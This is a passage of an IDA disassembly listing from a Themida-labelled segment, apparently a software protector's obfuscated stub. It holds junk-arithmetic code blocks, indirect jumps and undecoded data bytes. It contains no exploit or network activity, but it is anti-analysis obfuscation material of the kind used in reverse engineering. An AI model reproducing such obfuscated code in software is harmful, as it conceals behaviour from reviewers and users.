loc_5983C3:				; CODE XREF: Themida_:005AA8BBj
		push	ecx
		mov	ecx, 809C843Dh
		sub	edi, ecx
		pop	ecx
		push	ebx
		jmp	loc_5A1F68
; ---------------------------------------------------------------------------


loc_5983D2:				; CODE XREF: Themida_:005A5D46j
		xor	edi, eax
		pop	eax
		mov	ebp, edi
		jmp	loc_59DA46
; ---------------------------------------------------------------------------


loc_5983DC:				; CODE XREF: Themida_:005A036Fj
		add	bl, ch
		pop	ecx
		add	bl, 0A4h
		add	bl, dh
		sub	bl, 0A4h
		sub	bl, 0C4h
		push	ecx
		mov	ch, 11h
		neg	ch
		shl	ch, 8
		push	bx
		mov	bh, 73h
		sub	ch, bh
		pop	bx
		sub	bl, 0EBh
		add	bl, ch
		add	bl, 0EBh
		pop	ecx
		pop	edx
		push	bx
		mov	bh, 57h
		sub	al, 0F6h
		add	al, bh
		add	al, 0F6h
		pop	bx
		sub	al, 0BEh
		sub	al, bl
		add	al, 0BEh
		sub	al, 57h
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 86h
		jmp	loc_5986F8
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 2C835C46h, 0BF57C601h, 2C835C46h, 47C5E9h, 5BF82800h
		dd 0BF04D828h, 3FE98F2Ch, 8100006Fh, 4EDh, 0DC02E900h
		dd 0EE830000h, 4AEE81FFh, 29D6272Eh, 24348BF2h,	10425E9h
		dd 0C2815A00h, 0F62066Eh, 0EA81EA01h, 0F62066Eh, 0E9242C8Bh
		dd 976Ch, 756BC281h, 0EA814C8Bh, 6B364EADh, 34FF0288h
		dd 0C547E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59849A:				; CODE XREF: Themida_:0059C3C2j
		add	eax, edi
		mov	ecx, [eax]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, 4
		jmp	loc_5A985B
; ---------------------------------------------------------------------------


loc_5984C7:				; CODE XREF: Themida_:005A8B09j
		mov	ebp, [esp]
		jmp	loc_5AB2C8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C9E9240Ch, 310000C8h, 24348BF0h, 4C481h, 102D0000h
		dd 25105140h, 4AAB6078h, 1C2CE9h, 0F7F18100h, 8102FD4Dh
		dd 0E3437FE9h, 59CE0145h, 6C01EA81h, 0F20120C4h, 7F3FE9h
		dd 243C8900h, 22DFBD55h, 0D7BF4DC8h, 1E0FD08h, 71ACE9EFh
		dd 815D0000h, 0B832E1CDh, 35B2E94Dh, 76BB0000h,	0E91D4039h
		dd 5616h, 575AD189h, 0D21DE6BFh, 9FBB5321h, 951440Dh, 0B5E95BDFh
		dd 68000104h, 27B3h, 0E9243C89h, 3244h,	0D9BFE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598562:				; CODE XREF: Themida_:0059B8B9j
		push	58F0h
		mov	[esp], esi
		jmp	loc_5A5D5F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 81E28952h, 4C2h, 4C28100h, 0E9000000h, 11D43h
; ---------------------------------------------------------------------------


loc_598584:				; CODE XREF: Themida_:0059E24Bj
		movzx	eax, al
		jmp	loc_5A6E1F
; ---------------------------------------------------------------------------
		dd 3304C483h, 1C31241Ch, 95DAE924h, 0B9510000h,	0F385112h
		dd 10EB4E9h, 74E95400h,	5000123h, 296E2802h, 81242C8Bh
		dd 4C4h, 0E9D82900h, 2BC5h, 0FFD8C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5985C5:				; CODE XREF: Themida_:0059E856j
		mov	eax, esp
		jmp	loc_59ACE4
; ---------------------------------------------------------------------------


loc_5985CC:				; CODE XREF: Themida_:0059D178j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		jmp	loc_59CACB
; ---------------------------------------------------------------------------


loc_5985E0:				; CODE XREF: Themida_:00599D6Ej
		mov	ebx, 7AE012D0h
		mov	ecx, ebx
		pop	ebx
		sub	edi, 2279709Bh
		push	ecx
		mov	ecx, 362040Dh
		sub	edi, ecx
		pop	ecx
		add	edi, ecx
		add	edi, 362040Dh
		push	edx
		mov	edx, 164F53CEh
		xor	edx, 68693D88h
		neg	edx
		not	edx
		add	edx, 0A4530256h
		add	edi, 30956680h
		jmp	loc_59D4D6
; ---------------------------------------------------------------------------


loc_598620:				; CODE XREF: Themida_:005A7354j
		push	4D12h
		mov	[esp], ebx
		mov	ebx, 7690046Eh
		xor	ebx, 7690046Ah
		add	edi, 4EC013B5h
		push	eax
		mov	eax, 10153504h
		not	eax
		and	eax, 5238120Ah
		jmp	loc_5A66EE
; ---------------------------------------------------------------------------
		db 0C1h
		dd 354005E8h, 8E232B1h,	889AE9h
		db 0
; ---------------------------------------------------------------------------


loc_598659:				; CODE XREF: Themida_:005A3B20j
		pop	edx
		sub	esi, 5CE6619h
		push	ecx
		mov	ecx, 6AF30685h
		xor	esi, ecx
		jmp	loc_5A937E
; ---------------------------------------------------------------------------
		db 0BFh, 65h, 76h
		dd 0E7810730h, 6FFA1314h, 0C101EF83h, 0C78107EFh, 90C3E9F3h
		dd 505FFA01h, 0DE7689B8h, 58C50119h, 0ED81D529h, 19DE7689h
		dd 60ED815Ah, 8145CE33h, 686E31C5h, 0E9E88934h,	11FF5h
		dd 59241CF7h, 0D1F7D1F7h, 555CE981h, 0CA89645Dh, 37C28159h
		dd 0F71F4E32h, 1CC281D2h, 513E367Ch, 0E57721B9h, 0BD5CE94Eh
		dd 0C8B60000h, 80FFC680h, 0DEF661EEh, 0FEA6B753h, 0CBEF80CFh
		dd 0E906EFC0h, 1F08h, 0E95DE901h, 0F5DFh
; ---------------------------------------------------------------------------


loc_5986F8:				; CODE XREF: Themida_:00598429j
		shr	dh, 7
		push	ebx
		mov	bl, 26h
		xor	bl, 0DCh
		neg	bl
		jmp	loc_5A03DD
; ---------------------------------------------------------------------------
		dd 0E959CA01h, 12030h, 5C242C87h, 0E9242C89h, 0FFFFDA89h
		dd 31241C33h, 1C33241Ch, 24248B24h, 79FAB951h, 0E9834DDBh
		dd 49D1F701h, 0C104E9C1h, 0C18102E1h, 2520F0B5h, 8159CB29h
		dd 0B030CFC3h, 2096E93Dh, 1CF70001h, 35E99C24h,	89FFFFD7h
		dd 4C781E7h, 68000000h,	4F42h, 68242C89h, 4, 0FFEF015Dh
		dd 535D2434h, 0E904EC83h, 12B72h, 7D59EE81h, 0E6814117h
		dd 612D356Fh, 1280BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59878D:				; CODE XREF: Themida_:005A11C2j
		pop	ebx
		xor	al, 99h
		sub	al, 0F0h
		jmp	loc_59CA56
; ---------------------------------------------------------------------------
		db 56h
		dd 24348B5Bh, 8104C483h, 0B92785EFh, 0B8505242h, 0CDD71A9h
		dd 8158C289h, 0DB69E9E2h, 0C1D2F718h, 0EA8106EAh, 0B47B31CCh
		dd 22E9D701h, 0F600006Eh, 68DFh, 7FE90000h, 5F000009h
		dd 2414875Fh, 0E924248Bh, 2B20h, 0C381E389h, 4,	4B951h
		dd 0CB010000h, 6123E959h, 7D680000h, 89000035h,	0E2892414h
		dd 4C281h, 0B9510000h, 2FF71434h, 0FFD7AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598811:				; CODE XREF: Themida_:005A1FE4j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A2394
; ---------------------------------------------------------------------------
		dd 382DBE56h, 0D6F7459Ah, 0C12CE9h
		db 0
; ---------------------------------------------------------------------------


loc_598835:				; CODE XREF: Themida_:005994C5j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5A6B81
; ---------------------------------------------------------------------------
		db 31h
		dd 0C68159CEh, 5CD8C131h, 19A8E981h, 0F1013B1Dh, 0AAD1E9h
		dd 4B800h, 0C5010000h, 242C3358h, 10B88E9h, 0B8505B00h
		dd 56D10857h, 0AD35D8F7h, 1A92EF7h, 0BD5558C3h,	2, 0E95DEB29h
		dd 0A8ADh, 2B9D68h, 6014E900h, 0BB680000h, 5D295869h, 8102EDC1h
		dd 0D43D0FF5h, 5DEB8962h, 8101C383h, 401DABEBh,	0FCB9E9EFh
		dd 0C4830000h, 7EE95204h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5988B7:				; CODE XREF: Themida_:005A36C9j
		push	10F8h
		mov	[esp], ebx
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2F92CA1h
		push	edi
		push	esi
		jmp	loc_59912F
; ---------------------------------------------------------------------------


loc_5988D5:				; CODE XREF: Themida_:0059AD99j
		not	edi
		inc	edi
		not	edi
		or	edi, 55EE3A8Ah
		xor	edi, 0FDEEFFBEh
		add	ecx, edi
		pop	edi
		jmp	loc_597AD2
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 120FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5988F9:				; CODE XREF: Themida_:00599E1Fj
		or	eax, 7730459Eh
		jmp	loc_5A1266
; ---------------------------------------------------------------------------
		db 0BEh
		dd 3ABD658Fh, 0E95EF731h, 0D562h, 0CA46E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598916:				; CODE XREF: Themida_:005A10BAj
		pop	edx
		or	esi, 5CF55B84h
		push	520Ch
		mov	[esp], esi
		jmp	loc_5A6872
; ---------------------------------------------------------------------------
aI4WELsll	db '‰4$W¿;e<lé«‹',0
		align 4
aBDb50bs1ziciSx	db '^ɤB50é1Zˆc‰ÍéXÚ',0
		align 4
		dd 0FFE83058h, 47E92434h, 5C0000DAh, 5ED868h, 241C8900h
		dd 8AD7E9h, 24148700h, 8BD8005Ch, 42E9241Ch, 8100001Eh
		dd 787D0ECEh, 0E9D6F756h, 5279h, 78CFC681h, 0C681314Ch
		dd 110E0D70h, 815EF501h, 8514C5C5h, 0D6F58178h,	8109863Dh
		dd 26EAAC5h, 5DEA090Fh,	0F704EAC1h, 0EAC142D2h,	0FDEA8108h
		dd 0E9D8F85Dh, 0B188h, 0E9536659h, 0E6BBh, 3531292Dh, 2C1EE934h
		dd 0E9590000h, 10Bh, 0F7242C87h, 242C87D5h, 0E9CF3159h
		dd 0B310h
; ---------------------------------------------------------------------------


loc_5989E0:				; CODE XREF: Themida_:0059D58Ej
		push	77CEh
		mov	[esp], edx
		mov	edx, 1E2A4C14h
		shr	edx, 6
		shr	edx, 6
		shl	edx, 4
		push	ebp
		mov	ebp, 0F4E1001h
		jmp	loc_5A433D
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0F4h
		dd 8159A04Bh, 150C63EEh, 0FEE95040h, 5D00003Bh,	4C481h
		dd 0C6830000h, 50BEE902h, 0E9550000h, 7B89h, 8094ED80h
		dd 0C5801FEDh, 0C97AE9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598A36:				; CODE XREF: Themida_:005A0FA4j
		pop	esp
		mov	[esp], ebx
		push	ebp
		jmp	loc_5A9EE0
; ---------------------------------------------------------------------------
		dd 4C281h, 4FE90000h, 8300005Bh, 0E0C104C4h, 3E01E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598A56:				; CODE XREF: Themida_:00596414j
		push	4F3Fh
		jmp	loc_5A7192
; ---------------------------------------------------------------------------


loc_598A60:				; CODE XREF: Themida_:0059EE97j
		add	edi, 29B40EC2h
		jmp	loc_59FFBD
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 0FFF7EEE9h, 0D412E9FFh, 0BD55FFFFh, 4, 835DE801h
		dd 22E904C0h, 8B0000D3h, 24892424h, 4B85024h, 1000000h
		dd 58042444h, 83241C8Bh, 516804C4h, 89000015h, 0F7B82404h
		dd 5213135h, 0DECECA0Dh, 23E0B850h, 0C3811BA8h,	30C24173h
		dd 0AD60E9h
		db 0
; ---------------------------------------------------------------------------


loc_598AC5:				; CODE XREF: Themida_:005A620Cj
		sub	esp, 4
		jmp	loc_5A2021
; ---------------------------------------------------------------------------


loc_598ACD:				; CODE XREF: Themida_:005A8443j
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		jmp	loc_5A55C4
; ---------------------------------------------------------------------------
		db 83h
		dd 0AFE904ECh, 83000020h, 536604C4h, 0F80047B7h, 842C5B66h
		dd 0D8008604h, 3616E9h,	34815100h, 39299E24h, 24148B34h
		dd 5104C483h, 47B8E9h, 2474FF00h, 243C8B04h, 8F04C483h
		dd 248B2404h, 24042024h, 0D366E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598B26:				; CODE XREF: Themida_:00597237j
		mov	ecx, 6D59074Bh
		jmp	loc_5AA5B3
; ---------------------------------------------------------------------------
		dd offset dword_4642A0+2B0C8h
		dd 793CE900h, 0EAC10000h, 2BF28102h, 81720E16h,	44DA40F2h
		dd 0BFC3E932h, 9580000h, 3EE95DE8h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598B57:				; CODE XREF: Themida_:005A1EEFj
		mov	edi, ebp
		pop	ebp
		jmp	loc_5A8179
; ---------------------------------------------------------------------------
		db 66h
		dd 660CCC68h, 0E9240C89h, 7A5Eh, 83242C8Bh, 0B95104C4h
		dd 1BB0763Bh, 9AE9CF29h, 1FFFFD8h, 0C4BB53E9h, 0E94FFE33h
		dd 543Bh, 0E12983BAh, 47F2816Ah, 2D5D720Eh, 7C43308Bh
		dd 0A1E9D029h, 8900000Ch, 0E189240Ch, 734E953h,	0CE810000h
		dd 23CE4E75h, 55676852h, 835A4F5Dh, 83E901C2h, 59FFFFDEh
		dd 0C005E2C0h, 7D6806EAh, 0E900007Bh, 0FFFFF56Bh, 0E9241C89h
		dd 1119Eh, 4245C01h, 4244481h, 0D4258E3h, 644368h, 243C8900h
		dd 1F5BBD55h, 0EF8949DEh, 247C015Dh, 66A6E908h,	89530000h
		dd 1E32E9E3h, 0F2290000h, 5E2434FFh, 5539E9h
		db 0
; ---------------------------------------------------------------------------


loc_598C15:				; CODE XREF: Themida_:0059B34Aj
		neg	edx
		xor	edx, 0FFBAFF16h
		mov	ebp, edx
		pop	edx
		add	edi, ebp
		jmp	loc_59D1A1
; ---------------------------------------------------------------------------
		db 81h
		dd 9C2135EEh, 243C8B5Eh, 4EC81h, 1C890000h, 0E9E38924h
		dd 0B3B3h
; ---------------------------------------------------------------------------


loc_598C40:				; CODE XREF: Themida_:0059B710j
		mov	ebx, 0FEF3F5FFh
		xor	esi, ebx
		jmp	loc_59DCFE
; ---------------------------------------------------------------------------
		dd 0E9E68956h, 10ECEh, 496742BAh, 42DAF778h, 98BBF281h
		dd 0ED8187B6h, 4F1160FDh, 0C581D501h, 4F1160FDh, 8324148Bh
		dd 0E95204C4h, 1CDBh, 0E9240C87h, 5B2Ch, 0E907EEC1h, 0C0D0h
		dd 0FFD1FBE9h, 0A7BE56FFh, 81341B3Eh, 1B606CF6h, 0FCD1E961h
		dd 0F781FFFFh, 5AF7FB44h, 875FFE29h, 248B2434h,	24048924h
		dd 42474FFh, 0EF49E958h, 0E95E0000h, 0D655h
; ---------------------------------------------------------------------------


loc_598CC4:				; CODE XREF: Themida_:0059A353j
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_596136
; ---------------------------------------------------------------------------


loc_598CDF:				; CODE XREF: Themida_:005A9353j
		mov	edi, esp
		push	ecx
		jmp	loc_5A4D05
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 5017E900h, 89510000h, 4C181E1h, 81000000h, 4C1h
		dd 240C8700h, 0D182E95Ch, 555FFFFFh, 0E66211BDh, 1740E95Dh
		dd 0CD290000h, 0D5F74559h, 4B43C581h, 0C58171C2h, 16FE5B84h
		dd 963EE9h, 0CAE95300h,	80FFFFDBh, 0C3802FEBh, 5BD82848h
		dd 8B2434FFh, 0C483240Ch, 4C48104h, 68000000h, 5A3h, 50240C89h
		dd 251D6853h, 24890000h, 0E9505524h, 12269h, 240C8B66h
		dd 0DBD0E9h, 240C8900h,	0ED80F8B5h, 5EDC036h, 0FFF502E9h
		dd 4EC81FFh, 89000000h,	74FF241Ch, 8F5B0424h, 0C15C2404h
		dd 0FCE906EAh, 8B000099h, 0D1E9241Ch, 56FFFFE9h, 285328BEh
		dd 5EF5017Fh, 0ED81DD01h, 7F285328h, 5DEA295Bh,	67F0EA81h
		dd 8CE95699h, 810000CFh, 0FFFFFFC7h, 0E78147FFh, 58E2102Bh
		dd 15C78147h, 9DA3147h,	0BE565FFDh, 781A75DCh, 0A0BF681h
		dd 683653h, 81000000h, 1CA82404h, 34295107h, 242C8124h
		dd 51071CA8h, 0B612E9h
		db 0
; ---------------------------------------------------------------------------


loc_598DFD:				; CODE XREF: Themida_:0059A5F3j
		pop	esp
		jmp	loc_595E8C
; ---------------------------------------------------------------------------


loc_598E03:				; CODE XREF: Themida_:005A8D52j
		or	bh, 0E2h
		neg	bh
		jmp	loc_599DBE
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0D7688868h, 24148B4Fh, 0E8B4E9h, 0FFE94E00h,	660000A5h
		dd 8124148Bh, 2C4h, 0B0505200h,	58C288A2h, 0E9A8C380h
		dd 4FF9h, 24048966h, 4B2EE9h, 3C895C00h, 64C4E924h, 0E9290000h
		dd 453BE981h, 0BE5606D5h, 537212F6h, 84B95146h,	0E9492843h
		dd 0FFFFF9D7h, 240C875Ch, 0F624248Bh, 0D77BE9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598E76:				; CODE XREF: Themida_:005A9C5Fj
		add	edx, eax
		add	edx, 35CD32FCh
		push	eax
		jmp	loc_5A70A9
; ---------------------------------------------------------------------------
		dd 28AFEB80h, 0AFC380D3h, 2EC81h, 89660000h, 56E9240Ch
		dd 5A000018h, 4C481h, 51660000h, 878BE9h, 24048F00h, 0E924248Bh
		dd 0FFFFEBA4h, 0F6E0E95Ah, 2134FFFFh, 1E247E24h, 0E886E9h
		db 0
; ---------------------------------------------------------------------------


loc_598EC5:				; CODE XREF: Themida_:005A3923j
		add	dword ptr [esp], 2B590197h
		pop	ecx
		jmp	loc_59FDA1
; ---------------------------------------------------------------------------


loc_598ED2:				; CODE XREF: Themida_:005AA78Fj
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		push	3F5Ch
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3D6A02F2h
		add	ebx, 4E1A2C75h
		jmp	loc_597A60
; ---------------------------------------------------------------------------


loc_598EFE:				; CODE XREF: Themida_:00597C66j
		push	dword ptr [edi+eax*4]
		jmp	loc_59EC76
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 33000000h,	14312414h, 24143324h, 0DFC3E95Ch
		dd 0BA52FFFFh, 19417D80h, 48E9D329h, 0B70000ACh, 0E9F9304Bh
		dd 11F0Eh, 4C481h, 48F0000h, 24248B24h,	42A6E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598F46:				; CODE XREF: Themida_:005A58B2j
		xchg	ebx, [esp]
		jmp	loc_5A713A
; ---------------------------------------------------------------------------
aB_Rysi		db 'Å".#RYéë;',0
		align 2
		dw 3C8Bh
		dd 4C48124h, 81000000h,	4C4h, 4EC8100h,	89000000h, 13E9242Ch
		dd 0BD0000C4h, 5048102Bh, 2A59BA52h, 0D501042Eh, 2CE3E9h
		db 0
; ---------------------------------------------------------------------------


loc_598F89:				; CODE XREF: Themida_:00597089j
		mov	esi, 4
		jmp	loc_5A2912
; ---------------------------------------------------------------------------
aIS		db 'ˆÆé×[',0
		align 2
aUsim		db 'U鈌',0
		align 10h
		dd 0FF241C89h, 8B042474h, 0CDE9241Ch, 810000BEh, 0EE5F14CFh
		dd 5FC7810Bh, 10CF9D4h,	94D6E9FDh, 5ABD0000h, 8158C616h
		dd 0BF2694F5h, 0ED814519h, 7DDC27F0h, 0A9E4E9h,	2EEC100h
		dd 91CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_598FE1:				; CODE XREF: Themida_:0059FA45j
		add	edi, 46A6542Eh
		shr	edi, 6
		xor	edi, 54302540h
		not	edi
		sub	edi, 0A8D7CF01h
		add	esi, edi
		jmp	loc_5A6750
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 83000000h,	0BFE904C0h, 5200011Eh, 2A351ABAh
		dd 1DF28116h, 815E5474h, 0A867F8E2h, 58B85025h,	31119C62h
		dd 0F28158C2h, 26F94C42h, 585AD729h, 8B243C87h,	0F662424h
		dd 9C2404ABh, 0FFCE47E9h, 0DAE95BFFh, 5600003Ah, 0D74F50BEh
		dd 0D426E960h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599056:				; CODE XREF: Themida_:005A6AECj
		pop	esi
		jmp	loc_5AA809
; ---------------------------------------------------------------------------
aI7z?syg	db '\‰,$½7z ?éyg',0
		align 2


loc_59906A:				; CODE XREF: Themida_:005A315Aj
		sub	esp, 4
		mov	[esp], edi
		push	6B72h
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_59FDB7
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 9Bh
		dd 0E907CF52h, 0FF7Ah
; ---------------------------------------------------------------------------


loc_599090:				; CODE XREF: Themida_:005A66A3j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59713B
; ---------------------------------------------------------------------------


loc_59909E:				; CODE XREF: Themida_:0059C3CEj
		add	esp, 4
		push	eax
		push	ebp
		mov	ebp, 381E51BBh
		jmp	loc_5A9EF2
; ---------------------------------------------------------------------------
		dd 52D80166h, 4655BA66h, 8CEA8166h, 0E72D662Fh,	0FF7EE96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5990C6:				; CODE XREF: Themida_:005A2AA6j
		xor	ebx, 0EF832712h
		add	esi, 69C75445h
		sub	esi, ebx
		jmp	loc_5A4279
; ---------------------------------------------------------------------------
		db 0BDh, 2Ch, 67h
		dd 0EB291C82h, 14C3815Dh, 2912E54Ch, 14EB81CBh,	8112E54Ch
		dd 82672CC3h, 30EB811Ch, 593C013Bh, 516CE9h
		db 0
; ---------------------------------------------------------------------------


loc_599101:				; CODE XREF: Themida_:005A0211j
		add	esp, 4
		jmp	loc_59CF1F
; ---------------------------------------------------------------------------
		dd 4C481h, 0DFE90000h, 81FFFFF6h, 0DC5313E5h, 83E5D139h
		dd 3C8904ECh, 6EA0BF24h, 0BDE95B7Bh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59912F:				; CODE XREF: Themida_:005988D0j
		mov	esi, 4707612Bh
		mov	edi, esi
		jmp	loc_5A7D3D
; ---------------------------------------------------------------------------
		db 89h
		dd 60682414h, 0E900001Fh, 1841h, 159CE29h, 30CBE9CEh, 2C800000h
		dd 3C282824h, 24048024h, 243C8A28h, 0FE04C483h,	61C0E9CFh
		dd 34310000h, 24343324h, 85E9505Ch, 0FF000119h,	0E9042474h
		dd 0FFFFD372h, 4EB81h, 1C330000h, 241C3124h, 8ADAE9h, 24048B00h
		dd 6F3E957h, 58540000h,	122B9E9h, 243C8900h, 8A05C5BFh
		dd 0FF8EE971h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5991AE:				; CODE XREF: Themida_:005A42DCj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_59B4A2
; ---------------------------------------------------------------------------
		dw 68BDh
		dd 0E91DDA5Ah, 118B2h
; ---------------------------------------------------------------------------


loc_5991CC:				; CODE XREF: Themida_:005AA79Bj
		add	ebx, esi
		pop	esi
		jmp	loc_5A4555
; ---------------------------------------------------------------------------
aTs		db 'Té"µ',0
		align 2
		dw 8953h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 3ACDE9h, 24248B00h
		dd 0B8240489h, 4AC2139Ah, 0D382E9h
		db 0
; ---------------------------------------------------------------------------


loc_599201:				; CODE XREF: Themida_:005A44DCj
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebp
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A3672
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aS4		db '\é4<',0
		align 2
		dw 77FFh
		dd 59669D1Ch, 241CD366h, 0CC2AE99Ch, 2BEFFFFh, 89000000h
		dd 24348BF0h, 104C483h,	24048BC7h, 80B5E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59927A:				; CODE XREF: Themida_:0059A270j
		mov	ebx, 375494h
		sub	ebx, 0BC5D1A64h
		sub	ecx, ebx
		pop	ebx
		add	ecx, ebx
		add	ecx, 43DA3A30h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5AB339
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 63EDh, 66C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5992A9:				; CODE XREF: Themida_:0059E830j
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_59B05C
; ---------------------------------------------------------------------------
		dd 54E9C701h, 87FFFFFDh, 1E92414h, 54000113h, 4C3815Bh
		dd 81000000h, 4EBh, 241C8700h, 242C895Ch, 0DB4D12BDh, 0FDA3E957h
		dd 0E389FFFFh, 4C381h, 22E90000h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5992EF:				; CODE XREF: Themida_:00596145j
		mov	edi, [esp]
		jmp	loc_5A37BE
; ---------------------------------------------------------------------------
		db 89h
		dd 4EC83E6h, 55241C89h,	4A62A3BDh, 7F94E93Ah, 68680000h
		dd 0E9000002h, 1192Dh, 148BD601h, 4C48124h, 5F000000h
		dd 31243433h, 34332434h, 0E5685C24h, 89000022h,	0E589242Ch
		dd 4C581h, 0C5830000h, 242C8704h, 0A471E9h
		db 0
; ---------------------------------------------------------------------------


loc_599345:				; CODE XREF: Themida_:0059D9C6j
		not	ebx
		add	ebx, 0D86036BAh
		add	eax, ebx
		pop	ebx
		push	ebp
		jmp	loc_5A1D7D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 242CD324h, 0CB2AE99Ch, 0C30FFFFh, 240C3224h,	0E9240C30h
		dd 0FFFFF9BDh, 6342B951h, 0CA09471Bh, 0AC4EE9h,	0E9F23100h
		dd 11FD3h, 31240433h, 4332404h,	89665C24h, 0BA662414h
		dd 0C1661914h, 816608E2h, 665448EAh, 6603EAC1h,	6601C283h
		dd 98E5E955h, 48B0000h,	4C48324h, 88D38853h, 241C8BDDh
		dd 5A04C483h, 2894C580h, 2434FFE8h, 0EC815359h,	4, 81242489h
		dd 42404h, 1C8B0000h, 20F3E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5993E2:				; CODE XREF: Themida_:005A727Bj
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A489D
; ---------------------------------------------------------------------------


loc_5993F5:				; CODE XREF: Themida_:005A55BFj
		sub	edx, ebp
		pop	ebp
		jmp	loc_5A309D
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 72h
		dd 585BB500h, 669E9h, 2474FF00h, 2434FF04h, 0E289525Bh
		dd 4C281h, 0C2810000h, 4, 5C241487h, 5C24048Fh,	8904EC83h
		dd 67E92414h, 8900003Bh, 89522434h, 0D842E9E2h,	45BF0000h
		dd 0B955F656h, 0F97225Fh, 815FF931h, 0B004246Ch, 2933DF4Fh
		dd 8104244Ch, 0B0042444h, 5933DF4Fh, 0E4A8E9h, 4C48300h
		dd 0E93EB652h, 439h, 8106E2C1h,	97EFB8F2h, 0E9D701BFh
		dd 9377h
; ---------------------------------------------------------------------------


loc_599480:				; CODE XREF: Themida_:005A1082j
		mov	ecx, 0AE8BAC31h
		sub	ecx, ebp
		jmp	loc_5A5E33
; ---------------------------------------------------------------------------


loc_59948C:				; CODE XREF: Themida_:0059791Ej
		sub	esp, 4
		jmp	loc_599FA2
; ---------------------------------------------------------------------------
		db 81h
		dd 0AC229AF6h, 0BCF68152h, 0E94A3247h, 0F587h, 2E39EB81h
		dd 0E95F416Bh, 0DFE7h
; ---------------------------------------------------------------------------


loc_5994B4:				; CODE XREF: Themida_:005A7F8Ej
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		jmp	loc_598835
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 4244C01h,	0EA67E959h, 0BA52FFFFh,	1C5B20CBh, 0C472E9h
		dd 34FF5800h, 0E9575D24h, 4136h
; ---------------------------------------------------------------------------


loc_5994F0:				; CODE XREF: Themida_:005A420Ej
		sub	ecx, 4
		jmp	loc_5A8C7B
; ---------------------------------------------------------------------------
		db 59h
		dd 5DEDCF81h, 0E7C1686Ah, 0F798E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59950A:				; CODE XREF: Themida_:0059C887j
		push	4375h
		mov	[esp], eax
		mov	eax, 4
		push	edx
		mov	edx, 345627A8h
		jmp	loc_5A49FF
; ---------------------------------------------------------------------------
		dw 6868h
		dd 5A5B1F4Bh, 1B7BE9h, 9C48000h, 8003E4C0h, 0E3289EF4h
